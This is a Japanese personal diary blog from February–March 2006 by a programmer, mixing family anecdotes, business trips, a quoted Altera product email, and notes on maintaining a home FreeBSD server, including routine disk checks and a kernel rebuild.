こんど大学に進学する二女が突然ホームページを作り出したようです。もちろんおうちのサーバーを使うのではなく(そりゃこんなばか親とおんなじドメインじゃやだろうな...^^)、どっかの無料サーバーを使うみたいなのですが、その辺りの詳しいことはなかなか教えてくれないのです。へたっぴなのですが少しは絵が描けるので、どんなページになることやら。そもそも長続きするのだろうか。それが最大の問題なような気がします(笑)。
やっぱりばか親
モカちゃんがとってもとっても軽蔑した顔で言うのです。
この前パパがやってた「イナバウアー」と同じことばかお笑い芸人がしてたよ。おんなじレヴェルなんだ！！
うーむ...。

2006年3月25日(土)

二女とモカちゃんでディズニーシー
今日は二女とモカちゃん二人でディズニーシーへ遊びに行ってきたのです。出発が朝の 6時半で帰宅が夜の 23時。藤沢駅までは奥さま運転の車で往復です。

ところで上の写真のようにお土産を買ってきてくれました。もちろんピアノじゃなくって、アラジンかなんかに出てくる「はくしょん大魔王」みたいなキャラのクッキーです(^^。もちろん一万円カンパしたときに要求したなどということは絶対になかったのです(笑)。

2006年3月24日(金)

会社に泊まり
昨日から泊まり込みで仕事してます。別に泊まる必然性があったわけではないのですが、プログラムに熱中していたら帰りそびれてしまいました。そもそも先週お客様に「大丈夫！今月中に出来ますよ～」なんて安易なことを言ったのが大失敗だったのかも知れません(笑)。

2006年3月23日(木)

失礼なメール

ちょっと前ですがとっても失礼なメールが来ました。アルテラという FPGA デヴァイス等を主に扱う会社からです。それにしても勝手に送りつけて来て、

※掲載記事の無断転載を禁じます。

ってどういうことなのだろうか？まともな会社がやることとは思えません。あんまりまともでないことは事実なんですが(笑)。

========================================================================
Subject: アルテラ Cyclone II に関する重要なお知らせ
From: "Altera Japan Online" <japanonline@altera.com>
To: KAGAMI@..................
Date: Tue, 21 Mar 2006 16:37:41 -0800
X-Mew: Subject: has raw text strings.

本メールは通常のメール配信を希望されていない方へも、アルテラ・デバイスを
ご利用いただいている全てのお客様へ「重要なお知らせ」として送付させて
頂いております。何卒ご了承下さいますようお願い申し上げます。

お客様各位:

日頃、アルテラ製品を御愛顧頂き、誠にありがとうございます。
この度 Cyclone II デバイス のタイミング・モデルがアップデートされました。
今回のアップデートには、M4Kエラッタに関連したファイナル・タイミング・
モデルのアップデートが含まれます。

Cyclone II FPGAデバイスをご利用のお客様は、
Quartus II ソフトウェア 5.1 service pack 2をダウンロードしていただけますようお願い致します。

■ Quartus II v.5.1 SP2をダウンロード：
http://www.altera.co.jp/support/software/download/sof-download_center.html?WT.mc=gj_ie_al_jp_tx_1_123

Cyclone II のM4Kエラッタに関する詳細に関しましては、Cyclone II FPGAファミリ・エラッタ・シートをご確認下さい。

■ Cyclone II FPGA ファミリ・エラッタ・シート：
http://www.altera.co.jp/literature/ds/es_cycii.pdf?WT.mc=gj_ie_al_jp_tx_2_123


また本件に関する御質問やお問い合わせは、弊社販売代理店にお問い合わせいた
だくか、下記のサポート・ページまでお願い致します。

■ mySupportにアクセス：
https://mysupport.altera.com/eservice/?WT.mc=gj_ie_al_jp_tx_3_123
 

以上、宜しくお願い申し上げます。

＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊
販売代理店
 
株式会社アルティマ
Tel: 045-476-2155
E-mail: webmaster@altima.co.jp
URL: http://altimanet.com/

株式会社エルセナ
Tel: 03-3345-6200 	
E-mail: information-elsena@elsena.co.jp
URL: http://www.elsena.co.jp/

丸文株式会社
Tel: 03-5640-9845
E-mail: altera_sales@marubun.co.jp
URL: http://www.marubun.co.jp/

==========================================================　　　　　　　　　　

日本アルテラ株式会社

【個人情報保護について】
日本アルテラでは皆様のプライバシーを尊重し、
個人情報を保護するために細心の注意を払っています。
詳細はこちらへ - プライバシーポリシー
http://www.altera.co.jp/common/privacy.html?WT.mc=gj_ie_al_jp_tx_4_123
 
日本アルテラ株式会社

※掲載記事の無断転載を禁じます。＿＿＿＿＿＿＿＿＿＿＿＿＿＿

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2006年3月22日(水)

モカちゃん平方根の計算に挑戦
昔の中学生ならば誰でも知っていた有理整数 $n$ に対する $\sqrt{n}$ の近似値計算方法ですが、最近は例えば $\sqrt{2}~=~1.41421356\cdots$ 等を暗記させるだけで、逐次的な近似値計算方法をを教わらない場合も多いそうです。実際には、このような具体的な数値計算をたくさん練習することにより、計算の正確さやスタミナの向上が期待出来るとともに、例えば $\sqrt{2},~\sqrt{8}$ を個別に計算することにより、平方根の「大きさ」の感覚や $\sqrt{8}~=~2\sqrt{2}$ が成立するという感覚が養われると思うのです。
というわけで春休みでちょっと暇そうなモカちゃんに $\sqrt{n}$ の二桁ずつ区切って計算する方法を教えるとともに、 $\sqrt{2},~\sqrt{3},~\cdots~,~\sqrt{20},~\sqrt{50},~\sqrt{100},~\sqrt{200},~\sqrt{500},~\sqrt{1000},~\sqrt{2000},~\sqrt{5000},~\sqrt{10000}$ の近似値を小数点以下 20桁まで求める「宿題」を出したのです。20桁にした理由は、この程度まで計算するスタミナが欲しいということと、通常の電卓ではここまでの精度で答えが出ない(笑)、という二つの理由だったりします。私自身も小学生の頃この程度の計算をして遊んだ経験はあるので、特に困難な課題ではないと思いますが、最近は電卓の普及により子供(いや！大人も)の具体的な数値計算能力の低下が大きいと思われるので、どの位苦労するかは良くわかりません。
余談ですが答え合わせをするとき、私の方は PC の多倍長計算ライブラリーの結果を持ち出すことはもちろんです。ちとひきょうですな(笑)。

2006年3月17日(土)

休日出勤
今日はトラブルがあって会社で仕事しています。私一人しかいません(笑)。人様の書いたプログラムのトラブルってほんとに神経使います。原因もなかなか分からないし。面倒ですなあ(^^。

2006年3月16日(金)

モカちゃんの卒業式
今日はモカちゃんの卒業式です。私は出張があったりて出られなかったのですが、みんなの合唱でピアノを弾いたり、とても良い想い出になったと思います。親ばか的感想としては、6年間本当に良くやったと思います。卒業おめでとう！！

2006年3月15日(水)

二女の卒業式
今日は二女の卒業式だったのです。高校生活もおしまいです。ところで奥さまはPTAの副会長をしていたのですが、会長が急病となり急遽壇上でしゃべることになり、昨日から今朝までほとんど徹夜で原稿を書いたのです。
まあもともとが高校の先生な人なので、こういのうは慣れているのですが、二女の話によると極めて感動的なスピーチだったらしく、ふむふむさすがに私の奥様です(^^。
余談ですが「あなたはどうして何をやっても上手なの？」と聞いたところ、「そりゃあなたがいつも問題ばかり起こして、そのたびに私が色々処理をしてあげて20年以上も経つんだからるんだから、いろんなこと覚えるわよ！！」ということらしいのです(汗)。聞かなきゃ良かった(^^。

2006年3月14日(火)

あなたもできるイナバウアー

昨日会社で仕事してたら向こうの席から笑い声が。もちろん私は真面目に仕事をしていたので(これほんとです。だってプログラム書いてたんだもん)全く関心を示さなかったのです。そうしてるうちに笑っていた二人が私の机のところに来て、東大大学院出身理学博士の M さんが「かがみさんイナバウアー出来る？」って聞くのです。

聞かれたからには答えない訳にはいきません。

私　そんなの簡単ですよ！頭の後ろにお面をつけて「こうゆうふうに」前屈みになれば(←やってみる)

M氏えーどうして分かるの～(笑)

私そりゃMさんが考えそうなことくらい分かりますよ(^^。さらにコートをこうゆう風に後ろ前に着れば完璧(←やってみる)。さらに眼鏡をこうゆう風に頭の後ろにもってけば究極の技！！金メダル間違いなしです(←やってみる)

M氏もしかして私ってかがみさんとおんなじレヴェルなの？

私あたりまえじゃあないですか！それより問題はこの体勢をとると、おなかの部分がお尻になるわけですよね。その場合我々みたいな二段もしくは三段腹では横割れになっていまいちなんです。なので腹筋を鍛えて縦割れにする必要があるのです。そうすればさらに芸術点がアップです(^^。

実はMさんは私の直属の上司でさらに部長なのですが、こんなことやってて会社は大丈夫なのだろうか(笑)。しかも隣の部屋には就職活動で希望に満ちた大学生が来てるというのに(^^。

余談ですが「絶対うけるであろう」と思っておうちに帰ってから奥さまと二女の前で、「イナバウアー」と叫んで上の「やってみる」の部分を実演したのですが、「ふーん...それがどうしたの」と冷たく軽蔑の目であしらわれたのが大変ショックだったのです(^^。

2006年3月13日(月)

いやな音
おうちでは夜中に PowerBook のデーターとサーバーのデーターを、先日ハングアップした X24 にバックアップしているのですが、ここ数日サーバーの R30 のディスクも「ガリガリガリッ」って感じのいやな音がするのですよ。
R30は購入後5年。X24は購入後3年半で、双方ノートにもかかわらずほとんど 24時間運転です。ある意味よくがんばっているとも言えるのですが、壊れてしまうと非常に面倒なことになります。X24 だって 180MHz でも良いので動き続けて欲しいんですよ！ほんとに(^^。
あと一年くらい壊れないでくれれば、今使っている PowerBook を新サーバーとして運用することが出来るかも知れません。ただし、ふたをすると強制的にスリープモードに入ってしまい、回避する方法もなさそうで、ふたをちょっとだけ開けて運用する必要があるのと、やはり用途としてちともったいないのが難点です。デスクトップPCをサーバーに出来れば一番良いと思うのですが、置き場所の問題と、電気代がたくさんかかりそうで、こちらは残念ながら却下なのです。
本当は自宅サーバーは廃止して、以前のようにレンタルサーバーを利用するのがコスト的にも運用的にも悪くないと思うのですが、不思議なことに自宅サーバーというのは一度その味を覚えてしまうと、それなりの愛着がわいたりしてなかなかやめれなくなってしまうのですよ(笑)。なのでやはり壊れてしまわないことをお祈りするしかないのかも知れません(^^。

2006年3月12日(日)

モカちゃん美容院に行く
中学校に入る前に髪を短めにする、ということでモカちゃんはお友達と一緒に美容院に行ってきたのです。料金は 3,500円ということで、どんな感じになって帰ってくるかと期待していたいのですが、
ちっとも変わっていませんでした(笑)
「え～全然変わってないじゃん！それで 3,500円って高すぎ！！」と言ったら、予約をしないでいったので切ってもらえなかったそうな(^^。仕方ないので水曜日に予約を入れてきたとのことなのです。ちなみに卒業式は今週の金曜日だそうで、長かった6年間の小学校生活ももうすぐおしまいです。

2006年3月10日(金)

読み間違い
先日モカちゃんがインフルエンザにかかったときもらった薬を「タフミル」と書きましたが、正しくは「タミフル」であるというご指摘をいただきました。どうもありがとうございます。
いや～、実を言いますと私って昔からカタカナの読み間違えがとても多いのです。最近の話では、フィギュアスケートの「スルツカヤ選手」をオリンピックのフリー演技当日まで「ツルスカヤ選手」だと思っていました。だってロシア系の名前ってツルゲーネフのごとくツルで始まる感じがしたんだもん(^^。
「タフミル」も「タフになってインフルエンザウィルスをやっつけよー！！」って感じにだまされたのかも知れません←うかつなだけ(笑)。ちなみに上記二つの間違いは私以外にも結構多いらしく、グーグルで「ツルスカヤ」や「タフミル」を検索するとびっくり仰天なのです(^^。

2006年3月9日(木)

自宅サーバーダウン
出張に出かけようとしてたら、モカちゃんから「インターネット使えない」という苦情があったのですが、時間がなかったのと Windows の問題であろうと考え、こちらは無視しておうちを出たのです。ところが外で AH-K3001V を使ってインターネット接続しようとしたらこれがうまくゆかないのですよ。
AH-K3001V はおうちの delegate を圧縮プロキシーとして使用しているので、 FreeBSD/R30サーバーかADSL関連に何らかの障害が発生したと思われます (Windowsマシンのdefault route も R30)。ただし、おうちのIP電話番号に電話をかけると問題なく繋がるので、ADSL関連の問題ではなさそうです。
インフルエンザでお休み中のモカちゃんに、結線の状況等を聞いてみたのですが、特に問題はなさそうです。さらにFreeBSD/R30サーバーにはちゃんとログイン出来るというのです。結局原因は分からず仕方がないので帰宅するまで放置することにしました。
帰宅してみたところR30はちゃんと動作していたのですが、R30やX24を繋いでいるハブのランプが変な点滅なのです。さらにR30のコンソールに
```
fxp0 device timeout
```
なるメッセージが。なのでR30の電源を一度落とし再起動したのですが、状況は改善しません。むむむのむ、もしかしてR30のネットワークインターフェースが壊れてしまったのか！！困ったな～、と思ったのですが、ハブの様子を見るとX24のネットワークインターフェースに刺さっているポートのランプがおかしいのです。そこでX24のコンソールを見たところ、なんとこちらがハングアップしていました。ハングアップ直前と思われるログは次の通り。
```
Mar  8 03:03:24 moka /kernel: ad0s1g: hard error reading fsbn 79186367 \
         of 37233856-37233859 (ad0s1 bn 79186367; cn 5237 tn 46 sn 29) \
         trying PIO mode
Mar  8 03:03:25 moka /kernel: ad0: DMA problem fallback to PIO mode
```
あやややや！ディスク不良ですか。というわけでとりあえず X24 の電源を切ったところインターネットへの接続は問題なく行うことが可能となりました。 X24のイーサネットポートが悪さをしていたようです。
残る問題はX24の修復なのですが、こちらと同様の方法で試したのですが該当セクターの読み出しでエラーが発生しません。仕方ないので
```
# dd if=/dev/rad0s1g of=/dev/null ibs=8192 obs=8192
```
でディスク全検査をしたところ、上のログと全然関係ない場所でエラーが発生し、さらにその場所をもう一度読むとエラーが出ないのです。どうもマザーボードがかなりまずい状況になりつつあるようです。
そもそもX24は1.1GHz位の能力があるのですが、蓋をした連続運転ということで700MHz程度にダウンクロックしているのです。そこで「もしかして何らかの問題でBIOSの設定がデフォルトに戻ってしまったかな～」と考え確認したのですが、ちゃんと「中程度の速度」に設定されていました。ただし「遅い速度」というもう一つの選択肢があったので、試しにそちらを選択して起動してみました。起動時のメッセージは...
```
CPU: Intel(R) Pentium(R) III Mobile CPU 1133MHz(185.28-MHz 686-class CPU)
```
遅いです(笑)。
試しにこの状態でディスク全検査をしたところ問題なくパスしました。どうせバックアップ以外に使用していないので、この状態で運用することにしたのですが、いやはやほんとに壊れてしまうのも時間の問題のような気がします。もし壊れてしまった場合、安物の中古 ThinkPad を買うしかなさそうですな。いやいや Mac mini を買うなんてそんなことは絶対にない...と思います(笑)。
つくば出張
今日は恒例のつくば出張です。一年間のプロジェクトの仕上げで、定例の出張はとりあえず今日で終わりなのですが、定例でない出張はまだまだ続きそうです。

2006年3月8日(水)

モカちゃんインフルエンザにかかる
昨日の午後学校で熱が出て早退したのです。その後病院に行ったらちゃんとしたインフルエンザ(なんのこったい^^)だそうで、~~「タフミル」~~「タミフル」をもらって来たのです。
ところで学校の方ですが、インフルエンザにかかると強制的に 5日間出席停止になるそうな。「そんなに休む必要ないのだから普通の風邪と偽ればよいのに」と提案したのですが、そうすると欠席扱いになってしまうそうなのです。なるほど！！
例のごとく「ぱどタウン」で病気じまんしている位なのでたいしたことないと思うのですが(^^。

2006年3月7日(火)

おっかない夢
夢ねたというのもあれなのですが、今朝のはほんとに怖かったです(^^。おうちに帰ったら知らない赤ちゃんがいて、それ誰なのって奥さまに聞いたらなんと...
何言ってるのよ！！モカちゃんの妹じゃない(笑)
とのことなのです。ねっ怖いでしょ(^^。「うーむ、後10年くらいで良いと思てっいたのに、さらに22年も働かなければならないのか」と考えたりしたのです。
ところでモカちゃんは今12歳で、二女は18歳、長女は21歳なのです。ゆえに上の「モカちゃんの妹」を入れると年齢差は 3歳・6歳・12歳となります。夢の中で「初項3・公比2の等比数列」なんてことを考えて、うーん次は 24 年後か困ったなー、と思ったりしたのも怖さが倍増した理由なのです(^^。

2006年3月6日(月)

モカちゃん携帯を欲しがる
モカちゃんが「中学に入ると塾に行ったり遅くなる場合もあるし、最近いろいろ物騒なので携帯が欲しい」と言うのです。「ふーん...それならば家と連絡するだけだからパパやママとおんなじPHSでいいよね←いやがらせ(^^」と答えたのですが、やはり au や DoCoMo じゃないとかっこが悪い、ということらしいのです。
話を聞くと、現在クラスの三分の一位の子供が持っているそうで、中学校に入った時点で購入する人も多そうなので、おそらく半分くらいの子が持つことになると思われます。それにしても中学生の分際で、勉強と関係ない部分で月に 5,000円以上の維持費を親に払わせるって言うのも、不思議な世の中というかみんなお金持ちですなあ(笑)。
というわけで、今後余程状況の変化がなければモカちゃんが携帯を持つのは高校に入ってからなのですが、相手様はなかなか条件闘争が上手なので、油断をしていると買わざるを得ない状況になってしまう可能性もあります。十分注意しなければいけません(^^。

2006年3月5日(日)

言語バトン追記
「言語」と言うからには帰納的関数を表現出来るくらいの能力は欲しいと思います。そういう意味で「正規表現」は下の表に記載しなかったのですが、「数学の言語」は数論の公理系や集合論の公理系(数論の公理系より強い)を導入しないと帰納的関数を表現出来ません。さらにHTMLは帰納的関数の表現に関し能力不足なので、この二つは取り除いた方が良いのかも知れません。

言語バトン

こういう企画があるそうなので私も書いてみました。バトンをもらった訳ではありませんし、人様に渡す気もありません。下記はよく使うものから、なんとなく勉強したものまでを列挙しました。通常のプログラム以外の言語も含みます。

言語名称コメント

日本語小さいときからずっと苦手でずいぶん損をしたと思う。

英語中学では文法だけは出来たが高校に入り例外が多くなり挫折。

フランス語当時の数学専攻大学生はほとんどがフランス語を履修していた。大学一年のとき文法だけは完璧。以降英語と同じ道をたどる(笑)。

数学の言語こんな感じとかさらにこんな感じ

BASIC 初めて知ったコンピューター言語。PC8001で使用。

TL/1 PC8001で動作した Pascal風ミニ構造化言語。以降BASICには戻らない。

PASCAL 今まで一番夢中になった言語。N. Wirth著「アルゴリズム＋データ構造＝プログラム」とともに私のプログラムの原点。この言語をきっかけにコンピューター関連プロの道に走る。人生を誤らせたかも知れない(笑)。遊んだ処理系は UCSD Pascal, Turbo Pascal, MS-Pascal 等。Delphi は仕事で使ったこともある。今でも Pascal の文法は間違えないと思う。

i8086アセンブラー上記 UCSD Pascal 処理系のため i8087 数値演算ライブラリーを作成。以降プロになってからは使う機会なし。デヴァイスドライバーはたくさん書いているが、FreeBSD もしくは Linux 用なのでアセンブラーは必要ない。

C 32歳で安楽な公務員の道から無謀にもプログラマーの道へ転身。最初の半年くらい全然分からなかった。一時はだめかと思ったことも。いつの間にか一番得意な言語になっていたのが不思議(^^。現在仕事ではほとんどの場合この言語(処理系は gcc)を使用する。

C++ 何回か使ったがいずれも読みにくいコードとなった。以降 C に戻る。

Java 何回か仕事で使ったことがあるが、余り好きになれない。ただし出来てしまうとどこでも動くのでなかなか便利(笑)。

Fortran 昔勤めていた会社で情報処理一種を取得すると一月 5,000円手当がつくのに目がくらんで、さらに当時は C が選択出来なかったのでアセンブラーとともに一夜漬けで勉強。ちゃんと合格したが試験の翌日には忘れていた(^^。20万円位得したと思う(笑)。

sh 一応言語ですよね(^^。

awk ただ一つ自由に使えるスクリプト言語。

PHP 人様のを拝借してホームページに活用する言語(^^。

Scheme 一時夢中になったが結局まともな用途には使えず。

VHDL 回路のことは全然分からなかったが、論理だけでちゃんと動作するハードウエアー JPEG エンコーダーを作った。未だに回路は分からない。回路図も線の繋がりと IN/OUT しか分からない。図形を認識して論理化する能力に欠けているようだ。

LaTeX 業務用文書はすべてこれで記述。使えないと仕事にならない。

HTML このページの内容程度しか知らない。

仕事に関して言えば、現行 C, sh, awk, LaTeX があればなんとか(笑)。そろそろ新しいのも勉強する必要があると思うのですが、開発環境としてはともかく、プログラミング言語として真に画期的なのは現れていないような気がします。

2006年3月4日(土)

RSSちょっと改善
少し前に導入した日記のRSSですが、item 要素の日付時刻フィールド
<dc:date>2006-03-03T02:43:19+09:00</dc:date>
の時刻が固定でした。そもそもおうちの日記は、PHPでヘッダーとトレイラー処理や目次生成処理、mimetex の前処理等を行っている以外は、テキストで書かれたソースしか参照するものがない手抜き日記で、さらに更新時刻情報をどこにも書いていなかったので、こちらはどうしようもなかったのです。
RSSを作る方法は、ソースをご覧になると分かるように、毎日の記事ごとの頭の部分が
<a name="04">2006年3月4日(土)</a>
<ul>
<a name="20060304-1"></a>
<li>RSSちょっと改善

という感じになっていて、その部分を推測して記事を拾っているのです。目次の作成と全く同様の方法です。そこでどうせいいかげんな実装なので、<a name=...></a> の横の部分にコメントとして時刻を埋め込み、それを拾いだすことに変更したのです。RSSでは過去15個の記事を記載しているのですが、面倒だし覚えていないので、過去の記事に関しては夜九時更新のままです。さらに今後も時刻コメントを書き忘れると夜の九時更新ということになります(^^。
記事をデーターベース化したいのは山々なのですが、へまをやったときの被害が大きそう・バックアップが面倒そう・そもそも作るのが面倒くさい等今後もテキスト推測型の運用が続きそうです(^^。
＃最大の欠点は index.html の更新時刻と整合がとれないことだったりします(笑)。

2006年3月3日(金)

レンタルCD
「どうしてCDって3,000円もするのよ。高すぎ！！」とモカちゃんが憤慨して言うのです。うーむ、確かにお小遣いが月に 600円の身としては高すぎる気がします(4月から中学生なので 1,000円に値上げ予定)。例えば私がひと月に自由に使える金額が 10,000円と仮定すると、モカちゃんから見た CD の価格は、
10000/600 × 3000 = 50000円(^^
ということになり、ふむふむたしかにこれでは手が出ませんな。
そこで、「iTMS なりレンタルCDで手に入れればいいのでは」と提案したのですが、モカちゃんが言うには「iTMSには欲しい曲がないし、レンタルCD屋さんは場所が遠くて、そもそもあんな場所に一人で行ってはだめ！ってママが言うから借りられない」と言うのです。
仕方がないので「でもねモカちゃん、欲しいものって手に入れるまでがわくわくするので、手に入ると熱が冷めることが多いよ。ほら！一生懸命録画した番組なんて案外見ないじゃない」なんていい加減なことを言ったのですが、即座に反撃をされてしまいました。
じゃあパパの机の上に積み上げてあるその 50枚くらいの CD はなんなのよ！！他にもいっぱい持ってるし(^^
いやっそっそれは～(汗)。うーむ、これは私の負けのようです。最近口では絶対にかないません(笑)。結局私が会社の近くのレンタルCD屋さんの会員となり、会社の帰りにモカちゃんご要望のCD を借りてくることになったのですが、若い女の子に人気がある男の歌手のCDを借りるのがちと恥ずかしいのが難点です(笑)。

2006年3月2日(木)

make world で大失敗
FreeBSD の Security Advisory が出たようなので、久々にサーバーの kernel とユーザーランドの更新です。すべてソースからのコンパイルで、さらにおうちの FreeBSD/R30 サーバーはクロックダウンして運用しているので、構築に時間がかかります。手順はいつもの通りで、
```
  # cd /usr/src/
  # (rm -fr /usr/obj/* && make clean && make buildworld && 
        make kernel KERNCONF=KAGAMI) >/tmp/make.log 2>&1 &
  # reboot
  ...
  # cd /usr/src/
  # make installworld
```
という感じで良いのですが、reboot した直後に気がついたこと。
cvsup するのを忘れていました(笑)
いやはやこれでは前回と全く同じ環境が出来るだけです。結局 cvsup をやり直して再度構築を行っている最中なのです。おおまぬけとしか言いようがありません(^^。
＃再構築成功(^^。

2006年2月27日(月)

RSSに対応
やっとこおうちの日記もRSS対応になりました。URLは
http://evariste.jp/kagami/diary/0000/rss.php
です。前にたかたにさんのところで RSSを利用してブックマークを作成する記事があったのですが、今回はそれを多いに参考にさせて頂きました。どうもありがとうございます。ちなみに大きな手抜きがありまして、表示される更新日付は正しいのですが、時刻の欄は常に夜中の零時になります(^^。さらに良くわかっていないので、間違っている可能性も大いにあります。Safari で直接 URL をアクセスすると問題ないのですが、FireFox だと
この XML ファイルにはスタイル情報が関連づけられていないようです。以下にドキュメントツリーを表示します。
って怒られます(笑)。

2006年2月25日(土)

仙台ソロコンサート(睡眠旅行)
Kさんの車に同乗させて頂くことになり、6時半に新百合ケ丘で拾ってもらいました。さらにYさんTさんも一緒に仙台到着が 12時40分頃。昨日はフィギュアスケートを見るために早起きで、今日も5時頃に起きたので眠かったです。Kさんは運転するのが大変なのに、車中ほとんど寝ていてまことに失礼いたしました(^^。
到着後現地を下見して、KさんTさん、さらに合流したJさんと一緒にキルフェボン仙台店へケーキを食べに行って、10個注文して4人で分けて食べたのです。おいし～(^^。
浩子さんは最初の曲がちょっと不調で、一度途中でやめて歌い直し。出だしの失敗としては歴代三位に入るそうな(^^。この先大丈夫かな～、と少々心配だったのですが、その後絶好調となり、さらに25日お誕生日の人対象のリクエストは 4 曲の予定だったのが、最後の一人を選んでいたとき同じ日の人が二人いて、結局一つ増やして 5曲連続の演奏ということになり、一曲得をしたのです(^^。
ところが私の方は睡眠不足とケーキの食べ過ぎで、MCのときは良いのですが、曲が始まると気持ちよくなって半分寝てしまうのですよ！これが(笑)。いや～、コンサートに行ったのか「食っちゃ寝食っちゃ寝」しに行ったのか良く分からない状態になってしまいました(^^。でもとても楽しかったです。色々とありがとうございます←お世話になった人たち。
結局 17時30分開始のコンサート終了が 7時45分頃と、今まででも一番長いと思われるソロコンサートになったのです。うーん良かった～(^^。
帰りは 20時 26分の新幹線にぎりぎり間に合い 22時30分頃帰宅。新幹線に乗ってすぐに意識不明となり、目が覚めたら上野だったのは絶対に内緒なのです(笑)。

BEEBベースメントシアターお題目

ケーキ(左のテーブル) ケーキ(右のテーブル)

2006年2月24日(金)

二女帰宅
二女が元気に帰ってきました。おみやげに PHS のストラップを買ってきてくれました。一方モカちゃんは学校主催の卒業記念旅行で、ディズニーランドに行ってきたのです。

2006年2月23日(木)

卒業旅行
二女は今日から卒業記念旅行だそうで、お友達と三人で箱根の方に一泊二日の旅行です。この二月くらいほとんど学校に行く必要もなかったので、毎日音楽教室でバイト三昧の生活をしていて、軍資金もたっぷりためこんだようです。夜の11時過ぎまでバイトをしていることも多いのですが、音楽教室まで歩いて 3分ですし、そもそもモカちゃんが習っているところで、長女や二女も(実は私も...)習っていたところなので、親としては何の心配もありません。
音楽教室のバイトと言いますと、編集作業・現場への機材搬入等・現場での録画・録音あたりがメインらしいのですが、仕事の仕方を丁寧に教えてもらったり、さらに現地では色々な人と仕事の段取りを決めたり、とマニュアル通りではなく自分で考えて行動する必要があり、飲食店等のマニュアルバイトとは大違いです。そのあたり本人は自覚しているのかどうか分かりませんが、とても成長させて頂いたと感謝しています。
大学へ進学しても音楽教室のバイトは続ける予定ですが、3年後をにらんで音楽教室の先生からモカちゃんへ誘惑光線が流れているようです。
先生の作戦としては、二女が4年生のときモカちゃんが高校1年でバイトを始めて、一年間で引き継ぎ完了ということだそうな(^^。

2006年2月21日(火)

オークショントラブル
二女がアニメ系のグッズを手に入れるため、私の名前で Yahoo!オークションを始めてからもうすぐ二年経過します。私も最近マルタ・アルゲリッチ(Marta Argerich)お姉様の CD を片っ端から集めているのですが、廃盤になったりして手に入りにくいものを入手するのに思ったより重宝しています。二女も私も基本的に3,000 円以上の値はつけない、という方針ですので、万が一トラブルが発生してもあきらめることができますし、そもそも「悪意を持った」出品者がいたとしても価格的に割が合わないと思います。
ところで先日二女がなんか雑誌の付録グッズを落札したのです。落札したお値段は 270円なり(笑)。いやはやこんなお値段で、さらにYahoo!に税金を取られ、出品者の方は本当に儲かるのかと心配になってしまうのですが、まあそんなことはどうでもよくって、送料等の経費込み 500円程度の出費で先週商品が届き、何の問題もなく取引は終了したのです。
ところが昨日帰宅したら、私宛になんか見たことあるような荷物が...。むむむのむ！これはこの前の出品者の人からではないか、ということで内容の確認のため封をあけたところ、
先週受領したものと同じ物が入っていました(笑)。
うーむ、これは他の落札者に送るはずのが、なんかの勘違いか手違いで私のところに送られてきたに違いありません。
なので、出品者の方に「どうしましょうか」とメールを書いたのです。もし本当に住所を間違えて記載したのならば、本来届くべき人に届かなくなり、270 円程度のものとはいえ出品者の方はトラブルを抱えることになります。おそらく着払いで返却することになりそうな気がするのですが、いやはや梱包したりするのがちと面倒ですなあ(^^。
＃結局物件の値段が安く着払いとなると逆に経費がかかりすぎるので、
＃そのまま頂くことになりました。

2006年2月20日(月)

山梨県出張
今日は山梨県の禾生に出張です。いやはやこれで月曜日は 4週間連続出張です。機材自体はネットワークに繋がるように出来ているのですが、現地の状況とか行かないと分からないことが結構あるのですよ！これが(^^。移動に片道3時間半で往復7時間。実作業は 2～3時間という感じでしょうか。かなり無駄が多いです。
ほんとは会社でお茶でも飲みながらプログラム書いているのが好きなんですがねえ(笑)。
かなり激しく雪が降ってきました。おうちに帰れるのだろうか？

2006年2月19日(日)

正しかった12音階の説明
実は数年前に「なぜ西洋音楽の1オクターブは12に分けられているのか？」ということを考察しました。割と整合性がある考え方だったので、自分としては自信があったのですが、どこにも書いてなくて、もしかして別の理由もあるのかとちょっと不安な面もあったのです。
ところが最近「マリオ・リヴィボ著・黄金比はすべてを美しくするか」を読んだところ、第七章(P228)に同等の記述がありました。いや～自分勝手に考えた「理論」なのですが、めずらしく正解だったようです(^^。というか周知の事実なのかな？
ただしこの事実を中学や高校で習った記憶はありません。なかなか興味深い事柄であると思いますので、ちゃんと教えれば良いと思うのですが、こんなこと考えてる暇人はそれほどいないのでしょうか(笑)。
＃リンクに記載した書籍は悪くはありませんが、
＃特にお薦めというほどの内容ではありません。

2006年2月17日(金)

アンプの説明書をなくす
何を勘違いしたか Sony の AV アンプ TA-V55ES は 96KHz サンプリングのデジタル音源を再生可能と思い込んで、音質が飛躍的に良くなった UA-4FX を光ケーブルで繋いでみたのです。ところが 44.1KHz のサンプリングですと当然のごとく音が出るのですが、96KHz だとなんにも聴こえません。あたりまえか(汗)。
ということで、確認のため操作説明書を探したのですが、これがちゃんとしまっといたはずの場所に見つからないのです。他の場所を色々探したけれども見つからず。
説明書を読めないのも困るのですが、そもそもこれは頂きものなので、とってもとっても失礼な事態に陥ったのです。ごめんなさい...。
というわけで本日ソニーのサービスセンターに電話をしたところ、着払いで送って下さるそうで、お値段は送料込みで大体 1,000円くらいです。また、「現在生産されていない製品なので、一部分コピーの部分もあるかも知れませんのでご容赦下さい」とのことでした。
いやっそれにしてもほんとにどこに行ってしまったのだろう。謎なのです。リモコンの説明書はしっかり残っているのですが(笑)。いずれにしても失礼いたしました。こんどこそちゃんと分かる場所に保存するようにいたします。
今後の運用ですが、UA-4FX はアナログ出力もそこそこの品位が期待できるので、TA-V55ES のアナログの方に接続して試してみたいと考えています。

2006年2月16日(木)

出張
きょうはつくば出張なのです。それにしても最近出張が多いですなあ。

2006年2月15日(水)

バグじゃありません！仕様です
最近極力時事ねたは書かないようにしているのですが、あまりにもツボにはまっているので(笑)。朝日新聞の記事を眺めていたら、「ソニー「ブラビア」一部にソフト欠陥　国内外４０万台」ということで、そもそもブラビアってなんのことだか分からなかったのですが、どうも薄型テレビの商品名らしいのです。まあそんなことはどうでも良くって、面白いのはバグの内容(^^。

累積視聴時間が約１２００時間を超えると、視聴中に電源を切れないなどの障害が出る(笑)

累積って...。1200時間というと1日4時間視聴(結構平均的だと思う)して大体一年間。あははっ！大多数の人がバグじゃなくって仕様だと思ったのでは(^^。テレビの場合一日中ほとんど見っぱなしの人がいるのを忘れて、設定値を短くしすぎたのが大失敗だったのかも知れません(^^。

2006年2月14日(火)

豪華お弁当
今日も昨日に引き続き出張です。出張の目的は計測器の精度等を他社様に正確に計ってもらうことなのです。なので一応私のつとめている会社の方がお客さんということになります。

